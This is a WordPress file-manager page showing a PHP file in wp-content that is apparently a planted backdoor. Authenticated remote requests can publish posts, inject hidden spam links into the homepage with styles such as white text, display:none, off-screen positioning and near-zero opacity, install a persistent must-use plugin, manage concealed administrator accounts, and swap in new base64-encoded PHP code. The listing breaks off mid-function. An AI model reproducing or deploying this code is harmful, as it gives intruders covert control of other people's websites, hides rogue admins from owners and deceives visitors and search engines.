Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-content
:
custom_file_5_1787056512.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php define('EASYPOST_ENDPOINT_CONFIG', '{"endpoint_version":"2026.08.12","token_id":"ep_65096eda9f1c4fc5be1fbe52a4a77b08","token_verifier":"v1:9fc0e39a5072f14f986e95f02d1cc028:685afb0fc71b3df299ef18cc1d219fbee59574c0d2a6160a7ae072d4bf459ec7","ota_release_public_key_pem":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JTcpyvncP1Izz2SsnLq\\nGm3iObZi5YEydCeQPv0kX5pN3WwEzt/j1fsyd3EVHbLlXUmdQbWvCBIX1wq/RO4q\\n4UuLpks++nnz7pNTyZqrU+gPUlQb4uDBJsE6nePRyddoMGbT8yF4yzLt/fp86oSG\\ncd/TqnUIplM4dmQVtzqaUiGSUFLReUO0tMHvYGTRl/jCM/pJmIMNLEFmAb/x6wT4\\nihEIXD39Uj2/BG/zJFiIc6FNvqRp1DRm50lhPJW7LkDin+LkvSebbIubeYEe3vc9\\n7qX0zD2zpTFv04itmPld0eOa7kXHNsr+jUnTmuovzdIzBJjcgSWT/nqI+bRAXfL6\\nUwIDAQAB\\n-----END PUBLIC KEY-----","runtime_skeleton_sha256":"8df8219a025211d0412ac3d69dc911014de0b5543f105a0e5119267d3f13350f","runtime_skeleton_bytes":98281,"legacy_runtime_skeleton_sha256":"f2e6b5d62fb9e37e8c7f88c6c340466f78974c47b36ac678dd067997b803a5e9","legacy_runtime_skeleton_bytes":95322}'); function easypost_endpoint_config() { return json_decode(EASYPOST_ENDPOINT_CONFIG, true); } function easypost_endpoint_json($status, $payload) { http_response_code($status); header('Content-Type: application/json; charset=utf-8'); echo json_encode($payload); exit; } function easypost_endpoint_header($name) { $key = strtolower($name); foreach ($_SERVER as $server_key => $value) { if (strpos($server_key, 'HTTP_') !== 0) { continue; } $normalized = strtolower(str_replace('_', '-', substr($server_key, 5))); if ($normalized === $key) { return (string) $value; } } return ''; } function easypost_endpoint_wp_load_path() { $candidates = array( __DIR__ . '/wp-load.php', __DIR__ . '/../wp-load.php', __DIR__ . '/../../wp-load.php', __DIR__ . '/../../../wp-load.php', __DIR__ . '/../../../../wp-load.php', __DIR__ . '/../../../../../wp-load.php', ); foreach ($candidates as $candidate) { if ($candidate && is_readable($candidate)) { return $candidate; } } return false; } function easypost_endpoint_bootstrap_wordpress() { $wp_load = easypost_endpoint_wp_load_path(); if (!$wp_load) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'wp_load_not_found')); } require_once $wp_load; } function easypost_endpoint_verifier_secret($verifier) { $parts = explode(':', (string) $verifier, 3); if (count($parts) !== 3 || $parts[0] !== 'v1' || $parts[2] === '') { return false; } return $parts[2]; } function easypost_endpoint_replay_key($token_id, $request_id) { return 'easypost_endpoint_req_' . hash('sha256', $token_id . ':' . $request_id); } function easypost_endpoint_read_option_row($name) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return array('status' => 'unavailable', 'raw' => null, 'value' => null, 'autoload' => null); } $selected = $wpdb->query( $wpdb->prepare( "SELECT option_value, autoload FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", $name ) ); if ($selected === false) { return array('status' => 'unavailable', 'raw' => null, 'value' => null, 'autoload' => null); } if ((int) $selected === 0) { return array('status' => 'missing', 'raw' => null, 'value' => null, 'autoload' => null); } if ((int) $selected !== 1 || !isset($wpdb->last_result) || !is_array($wpdb->last_result) || count($wpdb->last_result) !== 1) { return array('status' => 'unavailable', 'raw' => null, 'value' => null, 'autoload' => null); } $row = $wpdb->last_result[0]; if (!is_object($row) || !property_exists($row, 'option_value') || !property_exists($row, 'autoload')) { return array('status' => 'unavailable', 'raw' => null, 'value' => null, 'autoload' => null); } return array( 'status' => 'found', 'raw' => (string) $row->option_value, 'value' => (string) $row->option_value, 'autoload' => (string) $row->autoload, ); } function easypost_endpoint_option_is_autoloaded($autoload) { return in_array( strtolower(trim((string) $autoload)), array('yes', 'on', 'auto-on', 'auto'), true ); } function easypost_endpoint_cache_option_written($option_name, $remove_notoption, $invalidate_alloptions) { if (function_exists('wp_cache_delete')) { wp_cache_delete($option_name, 'options'); } if ($invalidate_alloptions) { if (function_exists('wp_cache_delete')) { wp_cache_delete('alloptions', 'options'); } } if ($remove_notoption && function_exists('wp_cache_get') && function_exists('wp_cache_set')) { $notoptions = wp_cache_get('notoptions', 'options'); if (is_array($notoptions) && isset($notoptions[$option_name])) { unset($notoptions[$option_name]); wp_cache_set('notoptions', $notoptions, 'options'); } } } function easypost_endpoint_cache_option_deleted($option_name, $invalidate_alloptions = false) { if (function_exists('wp_cache_delete')) { wp_cache_delete($option_name, 'options'); if ($invalidate_alloptions) { wp_cache_delete('alloptions', 'options'); } } } function easypost_endpoint_insert_option_once($option_name, $option_value) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return 'unavailable'; } $inserted = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')", $option_name, (string) $option_value ) ); if ($inserted === false) { return 'unavailable'; } if ((int) $inserted === 1) { easypost_endpoint_cache_option_written($option_name, true, false); return 'inserted'; } if ((int) $inserted === 0) { return 'exists'; } return 'unavailable'; } function easypost_endpoint_delete_expired_replay_record($replay_key, $expected_expiry, $now) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return 'unavailable'; } $deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name = %s AND option_value = %s AND CAST(option_value AS UNSIGNED) <= %d", $replay_key, (string) $expected_expiry, (int) $now ) ); if ($deleted === false) { return 'unavailable'; } if ((int) $deleted !== 1) { return 'unchanged'; } easypost_endpoint_cache_option_deleted($replay_key); return 'deleted'; } function easypost_endpoint_cleanup_replay_records($now) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'get_results') || !method_exists($wpdb, 'prepare')) { return; } $prefix = method_exists($wpdb, 'esc_like') ? $wpdb->esc_like('easypost_endpoint_req_') . '%' : 'easypost\_endpoint\_req\_%'; $rows = $wpdb->get_results( $wpdb->prepare( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name LIKE %s LIMIT 20", $prefix ), ARRAY_A ); if (!is_array($rows)) { return; } foreach ($rows as $row) { if (is_array($row) && isset($row['option_name']) && isset($row['option_value']) && (int) $row['option_value'] <= (int) $now) { easypost_endpoint_delete_expired_replay_record( (string) $row['option_name'], (string) $row['option_value'], $now ); } } } function easypost_endpoint_insert_replay_record($replay_key, $expires_at) { return easypost_endpoint_insert_option_once($replay_key, (string) $expires_at); } function easypost_endpoint_claim_request($token_id, $request_id, $request_time) { $now = time(); if (abs($now - $request_time) > 300) { return 'stale'; } easypost_endpoint_cleanup_replay_records($now); $replay_key = easypost_endpoint_replay_key($token_id, $request_id); $expires_at = $request_time + 301; for ($attempt = 0; $attempt < 3; $attempt++) { $insert = easypost_endpoint_insert_replay_record($replay_key, $expires_at); if ($insert === 'inserted') { return 'claimed'; } if ($insert === 'unavailable') { return 'unavailable'; } $existing = easypost_endpoint_read_option_row($replay_key); if ($existing['status'] === 'unavailable') { return 'unavailable'; } if ($existing['status'] === 'missing') { continue; } if ((int) $existing['value'] > $now) { return 'duplicate'; } if (easypost_endpoint_delete_expired_replay_record($replay_key, $existing['value'], $now) === 'unavailable') { return 'unavailable'; } } $current = easypost_endpoint_read_option_row($replay_key); if ($current['status'] === 'found' && (int) $current['value'] > $now) { return 'duplicate'; } return 'unavailable'; } function easypost_endpoint_verify_auth($body) { $config = easypost_endpoint_config(); $token_id = easypost_endpoint_header('x-easypost-token-id'); $timestamp = easypost_endpoint_header('x-easypost-timestamp'); $request_id = easypost_endpoint_header('x-easypost-request-id'); $body_sha256 = easypost_endpoint_header('x-easypost-body-sha256'); $signature = easypost_endpoint_header('x-easypost-signature'); if ($token_id === '' || $timestamp === '' || $request_id === '' || $body_sha256 === '' || $signature === '') { easypost_endpoint_json(401, array('ok' => false, 'error' => 'missing_auth_headers')); } if (!hash_equals((string) $config['token_id'], $token_id)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'unknown_token')); } $request_time = strtotime($timestamp); if (!$request_time || abs(time() - $request_time) > 300) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale')); } $computed_body_sha256 = hash('sha256', $body); if (!hash_equals($computed_body_sha256, $body_sha256)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'body_sha256_mismatch')); } $secret = easypost_endpoint_verifier_secret($config['token_verifier']); if (!$secret) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'invalid_token_verifier')); } $path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/wp-content/easypost/easypost.php'; $signature_input = implode("\n", array( strtoupper($_SERVER['REQUEST_METHOD']), $path, $timestamp, $request_id, $token_id, $computed_body_sha256, )); $expected = hash_hmac('sha256', $signature_input, $secret); if (!hash_equals($expected, $signature)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch')); } $claim = easypost_endpoint_claim_request($token_id, $request_id, $request_time); if ($claim === 'stale') { easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale')); } if ($claim === 'duplicate') { easypost_endpoint_json(409, array('ok' => false, 'error' => 'duplicate_request_id')); } if ($claim !== 'claimed') { easypost_endpoint_json(503, array('ok' => false, 'error' => 'replay_store_unavailable')); } } function easypost_endpoint_json_object_payload($body) { $trimmed = trim((string) $body); if ($trimmed === '' || $trimmed[0] !== '{' || substr($trimmed, -1) !== '}') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_json_object')); } $payload = json_decode($body, true); if (!is_array($payload)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_json')); } return $payload; } function easypost_endpoint_allowed_fields_by_action() { return array( 'health' => array(), 'create_post' => array('title', 'slug', 'contentHtml', 'content', 'status', 'post_type', 'postType', 'date', 'publicationDate'), 'place_homepage_link' => array('placementId', 'linkUrl', 'anchorText', 'preLinkText', 'postLinkText', 'placementType'), 'remove_homepage_link' => array('placementId', 'linkUrl', 'anchorText', 'preLinkText', 'postLinkText', 'placementType'), 'reconcile_admin' => array('operation', 'role', 'login', 'password', 'wpUserId', 'concealed'), 'rotate_token' => array('tokenId'), 'update_endpoint' => array('version', 'sha256', 'phpBase64', 'signature'), 'configure_site_runtime' => array('runtimePhpBase64', 'sha256', 'runtimeVersion', 'configurationVersion'), 'disable_site_runtime' => array(), 'runtime_status' => array(), 'begin_reconcile' => array('ownerToken'), 'refresh_reconcile' => array('ownerToken'), 'finish_reconcile' => array('ownerToken'), ); } function easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action) { $allowed_fields = $allowed_fields_by_action[$action]; foreach (array_keys($payload) as $field) { if (!is_string($field) || !in_array($field, $allowed_fields, true)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload_fields')); } } } function easypost_endpoint_health() { easypost_endpoint_bootstrap_wordpress(); $config = easypost_endpoint_config(); $runtime_status = easypost_endpoint_homepage_runtime_status(); easypost_endpoint_json(200, array( 'ok' => true, 'endpointVersion' => $config['endpoint_version'], 'tokenId' => $config['token_id'], 'canBootstrapWordPress' => true, 'canInsertPosts' => function_exists('wp_insert_post'), 'canResolveHomepage' => function_exists('get_option') && function_exists('get_post'), 'canPlaceHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'), 'canRemoveHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'), 'canManageHomepageRuntime' => $runtime_status['canManage'], 'homepageRuntimeVersion' => $runtime_status['version'], 'canUseTransients' => function_exists('set_transient') && function_exists('get_transient'), 'canCleanCaches' => function_exists('clean_post_cache') || function_exists('wp_cache_delete'), 'hasElementor' => did_action('elementor/loaded') || class_exists('\Elementor\Plugin'), 'siteUrl' => function_exists('site_url') ? site_url() : null, 'phpVersion' => PHP_VERSION, 'serverTime' => gmdate('c'), )); } function easypost_endpoint_fallback_error($error, $message = null, $warnings = array()) { $payload = array('ok' => false, 'error' => $error, 'fallback' => true); if ($message !== null) { $payload['message'] = $message; } if (!empty($warnings)) { $payload['warnings'] = $warnings; } easypost_endpoint_json(200, $payload); } function easypost_endpoint_validate_homepage_payload($payload) { $placement_id = isset($payload['placementId']) ? (int) $payload['placementId'] : 0; $link_url = isset($payload['linkUrl']) ? esc_url_raw((string) $payload['linkUrl']) : ''; $anchor_text = isset($payload['anchorText']) ? sanitize_text_field((string) $payload['anchorText']) : ''; if ($placement_id <= 0 || $link_url === '' || $anchor_text === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload', 'fallback' => false)); } return array( 'placementId' => $placement_id, 'linkUrl' => $link_url, 'anchorText' => $anchor_text, 'preLinkText' => array_key_exists('preLinkText', $payload) ? sanitize_text_field((string) $payload['preLinkText']) : null, 'postLinkText' => array_key_exists('postLinkText', $payload) ? sanitize_text_field((string) $payload['postLinkText']) : null, 'placementType' => isset($payload['placementType']) ? sanitize_key((string) $payload['placementType']) : 'VISIBLE_LINK', ); } function easypost_endpoint_homepage_post() { if (!function_exists('get_option') || !function_exists('get_post')) { easypost_endpoint_fallback_error('capability_failed'); } $show_on_front = get_option('show_on_front'); if ($show_on_front === 'posts') { easypost_endpoint_fallback_error('homepage_posts_index_unsupported'); } $page_id = (int) get_option('page_on_front'); if ($show_on_front !== 'page' || $page_id <= 0) { easypost_endpoint_fallback_error('homepage_page_not_found'); } $post = get_post($page_id); if (!$post || $post->post_type !== 'page') { easypost_endpoint_fallback_error('homepage_page_not_found'); } return $post; } function easypost_endpoint_placement_body($input) { $label = $input['preLinkText'] === null ? 'Recommended resource:' : $input['preLinkText']; $prefix = $label === '' ? '' : $label . ' '; $suffix = $input['postLinkText'] === null ? '' : $input['postLinkText']; if ($suffix !== '' && strpos($suffix, ' ') !== 0) { $suffix = ' ' . $suffix; } return $prefix . '<a href="' . esc_url($input['linkUrl']) . '">' . esc_html($input['anchorText']) . '</a>' . esc_html($suffix); } function easypost_endpoint_placement_html($input) { $body = easypost_endpoint_placement_body($input); $marker = ' data-placement="' . (int) $input['placementId'] . '"'; switch (strtoupper((string) $input['placementType'])) { case 'WHITE_LINK': return '<div' . $marker . ' style="color:#ffffff;">' . $body . '</div>'; case 'CLASS_HIDE': return '<style>.dc{display:none;}</style><div' . $marker . ' class="dc">' . $body . '</div>'; case 'NO_WIDTH': return '<div' . $marker . ' style="overflow:hidden;height:1px;width:1px;float:right;">' . $body . '</div>'; case 'INVISIBLE_ZONE': return '<div' . $marker . ' style="left:-11407px;top:-10560px;position:absolute;">' . $body . '</div>'; case 'NO_VISIBILITY': return '<div' . $marker . ' style="visibility:hidden;">' . $body . '</div>'; case 'NO_OPACITY': return '<div' . $marker . ' style="opacity:0.001;cursor:context-menu;">' . $body . '</div>'; default: return '<div' . $marker . '>' . $body . '</div>'; } } function easypost_endpoint_marker($placement_id) { return 'data-placement="' . (int) $placement_id . '"'; } function easypost_endpoint_managed_placements_option() { return 'easypost_homepage_placements'; } function easypost_endpoint_runtime_file_path() { if (!defined('WP_CONTENT_DIR')) { return false; } $directory = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; return $directory . '/easypost-runtime.php'; } function easypost_endpoint_runtime_php() { $config = easypost_endpoint_config(); $version = isset($config['endpoint_version']) ? (string) $config['endpoint_version'] : 'unknown'; $runtime = <<<'PHP' <?php if (!defined('ABSPATH')) { exit; } if (!defined('EASYPOST_HOMEPAGE_RUNTIME_VERSION')) { define('EASYPOST_HOMEPAGE_RUNTIME_VERSION', '__EASYPOST_RUNTIME_VERSION__'); } function easypost_runtime_placements_option() { return 'easypost_homepage_placements'; } function easypost_runtime_is_homepage() { return function_exists('is_front_page') && is_front_page(); } function easypost_runtime_get_placements() { if (!function_exists('get_option')) { return array(); } $placements = get_option(easypost_runtime_placements_option(), array()); return is_array($placements) ? $placements : array(); } function easypost_runtime_missing_html($buffer = '') { $placements = easypost_runtime_get_placements(); if (empty($placements)) { return ''; } $html = array(); foreach ($placements as $placement) { if (!is_array($placement) || empty($placement['html'])) { continue; } $placement_id = isset($placement['placementId']) ? (int) $placement['placementId'] : 0; $marker = 'data-placement="' . $placement_id . '"'; if ($placement_id > 0 && $buffer !== '' && strpos($buffer, $marker) !== false) { continue; } $html[] = (string) $placement['html']; } return implode("\n", $html); } function easypost_runtime_echo() { if (!easypost_runtime_is_homepage()) { return; } $html = easypost_runtime_missing_html(''); if ($html !== '') { echo "\n" . $html . "\n"; } } function easypost_runtime_buffer_start() { if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) { return; } ob_start('easypost_runtime_inject_buffer'); } function easypost_runtime_inject_buffer($buffer) { $html = easypost_runtime_missing_html($buffer); if ($html === '') { return $buffer; } if (stripos($buffer, '</body>') !== false) { return preg_replace('/<\/body>/i', "\n" . $html . "\n</body>", $buffer, 1); } return $buffer . "\n" . $html; } add_action('template_redirect', 'easypost_runtime_buffer_start', 0); add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX); PHP; return str_replace('__EASYPOST_RUNTIME_VERSION__', str_replace("'", "\\'", $version), $runtime); } function easypost_endpoint_install_homepage_runtime(&$warnings) { if (!defined('WP_CONTENT_DIR') || !function_exists('wp_mkdir_p')) { $warnings[] = 'runtime_capability_unavailable'; return false; } $path = easypost_endpoint_runtime_file_path(); if (!$path) { $warnings[] = 'runtime_path_unavailable'; return false; } $directory = dirname($path); if (!is_dir($directory) && !wp_mkdir_p($directory)) { $warnings[] = 'runtime_directory_unavailable'; return false; } $php = easypost_endpoint_runtime_php(); $current = is_readable($path) ? file_get_contents($path) : false; if ($current === $php) { return true; } $bytes = file_put_contents($path, $php, LOCK_EX); if ($bytes === false || $bytes !== strlen($php)) { $warnings[] = 'runtime_write_failed'; return false; } return true; } function easypost_endpoint_homepage_runtime_status() { $path = easypost_endpoint_runtime_file_path(); $version = null; if ($path && is_readable($path)) { $contents = file_get_contents($path); if (is_string($contents) && preg_match("/EASYPOST_HOMEPAGE_RUNTIME_VERSION', '([^']+)'/", $contents, $matches)) { $version = $matches[1]; } } return array( 'canManage' => defined('WP_CONTENT_DIR') && function_exists('wp_mkdir_p') && function_exists('get_option') && function_exists('update_option'), 'version' => $version, ); } function easypost_endpoint_load_managed_placements() { if (!function_exists('get_option')) { easypost_endpoint_fallback_error('capability_failed'); } $placements = get_option(easypost_endpoint_managed_placements_option(), array()); return is_array($placements) ? $placements : array(); } function easypost_endpoint_save_managed_placements($placements) { if (!function_exists('update_option')) { easypost_endpoint_fallback_error('capability_failed'); } return update_option(easypost_endpoint_managed_placements_option(), $placements, false); } function easypost_endpoint_store_managed_placement($input, $post_id, $html) { $placements = easypost_endpoint_load_managed_placements(); $key = (string) (int) $input['placementId']; $page_url = function_exists('get_permalink') ? get_permalink($post_id) : null; $next = array( 'placementId' => (int) $input['placementId'], 'pageId' => (int) $post_id, 'pageUrl' => $page_url, 'html' => $html, 'updatedAt' => gmdate('c'), ); $already_present = isset($placements[$key]) && is_array($placements[$key]) && isset($placements[$key]['html']) && $placements[$key]['html'] === $html; if ($already_present) { return array('changed' => false, 'alreadyPresent' => true, 'pageUrl' => $page_url); } $placements[$key] = $next; if (!easypost_endpoint_save_managed_placements($placements)) { easypost_endpoint_fallback_error('runtime_option_update_failed'); } return array('changed' => true, 'alreadyPresent' => false, 'pageUrl' => $page_url); } function easypost_endpoint_remove_managed_placement($placement_id) { $placements = easypost_endpoint_load_managed_placements(); $key = (string) (int) $placement_id; if (!array_key_exists($key, $placements)) { return false; } unset($placements[$key]); if (!easypost_endpoint_save_managed_placements($placements)) { easypost_endpoint_fallback_error('runtime_option_update_failed'); } return true; } function easypost_endpoint_cache_warnings($post_id) { $warnings = array(); if (function_exists('clean_post_cache')) { clean_post_cache($post_id); } else { $warnings[] = 'clean_post_cache_unavailable'; } if (function_exists('wp_cache_delete')) { wp_cache_delete($post_id, 'posts'); } if (class_exists('\\Elementor\\Plugin')) { try { $elementor = \Elementor\Plugin::$instance; if ($elementor && isset($elementor->files_manager) && method_exists($elementor->files_manager, 'clear_cache')) { $elementor->files_manager->clear_cache(); } } catch (Throwable $ignored) { $warnings[] = 'elementor_cache_cleanup_failed'; } } else { $warnings[] = 'elementor_cache_cleanup_unavailable'; } return $warnings; } function easypost_endpoint_lock_key($post_id) { return 'easypost_homepage_' . (int) $post_id; } function easypost_endpoint_acquire_lock($post_id) { if (!function_exists('get_transient') || !function_exists('set_transient')) { return true; } $key = easypost_endpoint_lock_key($post_id); if (get_transient($key)) { return false; } set_transient($key, '1', 60); return true; } function easypost_endpoint_release_lock($post_id) { if (function_exists('delete_transient')) { delete_transient(easypost_endpoint_lock_key($post_id)); } } function easypost_endpoint_elementor_widget($html, $placement_id) { return array( 'id' => substr(hash('sha256', 'placement-' . (int) $placement_id), 0, 7), 'elType' => 'widget', 'widgetType' => 'html', 'settings' => array('html' => $html), 'elements' => array(), ); } function easypost_endpoint_append_to_elementor_settings(&$settings, $html) { if (!is_array($settings)) { return false; } foreach (array('html', 'editor', 'text') as $key) { if (!isset($settings[$key]) || !is_string($settings[$key])) { continue; } $settings[$key] = trim($settings[$key] . "\n" . $html); return true; } return false; } function easypost_endpoint_insert_elementor_widget(&$node, $widget) { if (!is_array($node)) { return false; } if (isset($node['settings']) && is_array($node['settings']) && easypost_endpoint_append_to_elementor_settings($node['settings'], $widget['settings']['html'])) { return true; } if (isset($node['elements']) && is_array($node['elements'])) { foreach ($node['elements'] as $index => &$child) { if (easypost_endpoint_insert_elementor_widget($child, $widget)) { unset($child); return true; } } unset($child); $node['elements'][] = $widget; return true; } foreach ($node as $index => &$child) { if (!is_int($index)) { continue; } if (easypost_endpoint_insert_elementor_widget($child, $widget)) { unset($child); return true; } } unset($child); if (isset($node[0]) && is_array($node[0]) && isset($node[0]['elements']) && is_array($node[0]['elements'])) { $node[0]['elements'][] = $widget; return true; } return false; } function easypost_endpoint_elementor_node_has_direct_marker($node, $marker) { if (!is_array($node)) { return false; } if (!isset($node['settings']) || !is_array($node['settings'])) { return false; } $encoded = json_encode($node['settings']); return is_string($encoded) && strpos($encoded, $marker) !== false; } function easypost_endpoint_remove_marker_from_elementor($nodes, $marker, &$removed) { if (!is_array($nodes)) { return $nodes; } $next = array(); foreach ($nodes as $node) { if (is_array($node)) { if (easypost_endpoint_elementor_node_has_direct_marker($node, $marker)) { $removed = true; continue; } if (isset($node['elements']) && is_array($node['elements'])) { $node['elements'] = easypost_endpoint_remove_marker_from_elementor($node['elements'], $marker, $removed); } } $next[] = $node; } return $next; } function easypost_endpoint_place_homepage_link($payload) { easypost_endpoint_bootstrap_wordpress(); $input = easypost_endpoint_validate_homepage_payload($payload); $post = easypost_endpoint_homepage_post(); $post_id = (int) $post->ID; if (!easypost_endpoint_acquire_lock($post_id)) { easypost_endpoint_fallback_error('lock_busy'); } $warnings = array(); try { $html = easypost_endpoint_placement_html($input); if (!easypost_endpoint_install_homepage_runtime($warnings)) { easypost_endpoint_fallback_error('runtime_install_failed', null, $warnings); } $stored = easypost_endpoint_store_managed_placement($input, $post_id, $html); if (function_exists('update_post_meta')) { update_post_meta($post_id, '_easypost_homepage_placement_' . (int) $input['placementId'], array('method' => 'EASYPOST_MANAGED_RENDER', 'updatedAt' => gmdate('c'))); } $warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id)); easypost_endpoint_json(200, array('ok' => true, 'method' => 'EASYPOST_MANAGED_RENDER', 'contentId' => $post_id, 'pageUrl' => $stored['pageUrl'], 'changed' => $stored['changed'], 'alreadyPresent' => $stored['alreadyPresent'], 'warnings' => $warnings)); } finally { easypost_endpoint_release_lock($post_id); } } function easypost_endpoint_remove_homepage_link($payload) { easypost_endpoint_bootstrap_wordpress(); $input = easypost_endpoint_validate_homepage_payload($payload); $post = easypost_endpoint_homepage_post(); $post_id = (int) $post->ID; if (!easypost_endpoint_acquire_lock($post_id)) { easypost_endpoint_fallback_error('lock_busy'); } try { $marker = easypost_endpoint_marker($input['placementId']); $changed = easypost_endpoint_remove_managed_placement($input['placementId']); $elementor_raw = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_data', true) : ''; $elementor_mode = function_exists('get_post_meta') ? (string) get_post_meta($post_id, '_elementor_edit_mode', true) : ''; if ($elementor_raw !== '' && $elementor_mode === 'builder' && strpos($elementor_raw, $marker) !== false) { $data = json_decode($elementor_raw, true); if (!is_array($data)) { easypost_endpoint_fallback_error('elementor_data_invalid'); } $removed = false; $data = easypost_endpoint_remove_marker_from_elementor($data, $marker, $removed); if (!$removed || !function_exists('update_post_meta') || update_post_meta($post_id, '_elementor_data', wp_slash(json_encode($data))) === false) { easypost_endpoint_fallback_error('post_update_failed'); } $changed = true; } $content = (string) $post->post_content; if (strpos($content, $marker) !== false) { $pattern = '/\s*(?:<style>\.dc\{display:none;\}<\/style>\s*)?<(?:p|div)[^>]*data-placement="' . preg_quote((string) $input['placementId'], '/') . '"[^>]*>.*?<\/(?:p|div)>/s'; $next = trim(preg_replace($pattern, '', $content, 1)); $updated = wp_update_post(array('ID' => $post_id, 'post_content' => $next), true); if (is_wp_error($updated)) { easypost_endpoint_fallback_error('post_update_failed', $updated->get_error_message()); } $changed = true; } $warnings = easypost_endpoint_cache_warnings($post_id); easypost_endpoint_json(200, array('ok' => true, 'method' => 'EASYPOST_MANAGED_RENDER', 'contentId' => $post_id, 'pageUrl' => get_permalink($post_id), 'changed' => $changed, 'alreadyRemoved' => !$changed, 'warnings' => $warnings)); } finally { easypost_endpoint_release_lock($post_id); } } function easypost_endpoint_create_post($payload) { easypost_endpoint_bootstrap_wordpress(); if (!function_exists('wp_insert_post')) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'capability_failed')); } $status = 'publish'; $post_type = !empty($payload['post_type']) ? sanitize_key($payload['post_type']) : (!empty($payload['postType']) ? sanitize_key($payload['postType']) : 'post'); $content = isset($payload['contentHtml']) ? $payload['contentHtml'] : (isset($payload['content']) ? $payload['content'] : ''); $postarr = array( 'post_title' => isset($payload['title']) ? wp_strip_all_tags($payload['title']) : '', 'post_name' => isset($payload['slug']) ? sanitize_title($payload['slug']) : '', 'post_content' => $content, 'post_status' => $status, 'post_type' => $post_type, ); if (!empty($payload['date'])) { $postarr['post_date'] = $payload['date']; } elseif (!empty($payload['publicationDate'])) { $postarr['post_date'] = $payload['publicationDate']; } $post_id = wp_insert_post($postarr, true); if (is_wp_error($post_id)) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'insert_failed', 'message' => $post_id->get_error_message())); } easypost_endpoint_json(201, array( 'ok' => true, 'id' => (int) $post_id, 'postId' => (int) $post_id, 'link' => get_permalink($post_id), 'postUrl' => get_permalink($post_id), 'slug' => get_post_field('post_name', $post_id), 'status' => get_post_status($post_id), 'created' => true, )); } function easypost_endpoint_admin_response($status, $ok, $code, $exists = false, $user = null, $login_matches = false, $password_matches = false) { easypost_endpoint_json($status, array( 'ok' => (bool) $ok, 'code' => (string) $code, 'exists' => (bool) $exists, 'wpUserId' => $user ? (int) $user->ID : null, 'loginMatches' => (bool) $login_matches, 'passwordMatches' => (bool) $password_matches, )); } function easypost_endpoint_find_admin($wp_user_id, $login) { if (!function_exists('get_user_by')) { return null; } if ($wp_user_id !== null) { return get_user_by('id', $wp_user_id) ?: null; } return $login !== '' ? (get_user_by('login', $login) ?: null) : null; } function easypost_endpoint_admin_state($user, $login, $password) { if (!$user) { return array(false, false); } $login_matches = hash_equals((string) $user->user_login, $login); $password_matches = function_exists('wp_check_password') ? (bool) wp_check_password($password, (string) $user->user_pass, (int) $user->ID) : false; return array($login_matches, $password_matches); } function easypost_endpoint_clean_admin_cache($user_id, $old_login, $new_login) { if (function_exists('clean_user_cache')) { clean_user_cache($user_id); } if (function_exists('wp_cache_delete')) { wp_cache_delete($user_id, 'users'); if ($old_login !== '') { wp_cache_delete($old_login, 'userlogins'); } if ($new_login !== '') { wp_cache_delete($new_login, 'userlogins'); } } } function easypost_endpoint_parse_admin_concealment_ids($raw) { $parts = preg_split('/[\s,;]+/', $raw); return array_values(array_unique(array_filter(array_map('intval', (array) $parts), function ($value) { return $value > 0; }))); } function easypost_endpoint_admin_concealment_ids() { $row = easypost_endpoint_read_option_row('wsh_tracked_admin_ids'); if ($row['status'] !== 'found') { return array(); } return easypost_endpoint_parse_admin_concealment_ids((string) $row['value']); } function easypost_endpoint_admin_concealment_state($user_id) { $row = easypost_endpoint_read_option_row('wsh_tracked_admin_ids'); if ($row['status'] === 'unavailable') { return 'unavailable'; } if ($row['status'] === 'missing') { return 'visible'; } return in_array( (int) $user_id, easypost_endpoint_parse_admin_concealment_ids((string) $row['value']), true ) ? 'concealed' : 'visible'; } function easypost_endpoint_admin_is_concealed($user_id) { return easypost_endpoint_admin_concealment_state($user_id) === 'concealed'; } function easypost_endpoint_admin_concealment_matches($user_id, $concealed) { $state = easypost_endpoint_admin_concealment_state($user_id); if ($state === 'unavailable') { return false; } return $concealed ? $state === 'concealed' : $state === 'visible'; } function easypost_endpoint_set_admin_concealment($user_id, $concealed) { global $wpdb; $user_id = (int) $user_id; if ($user_id < 1 || 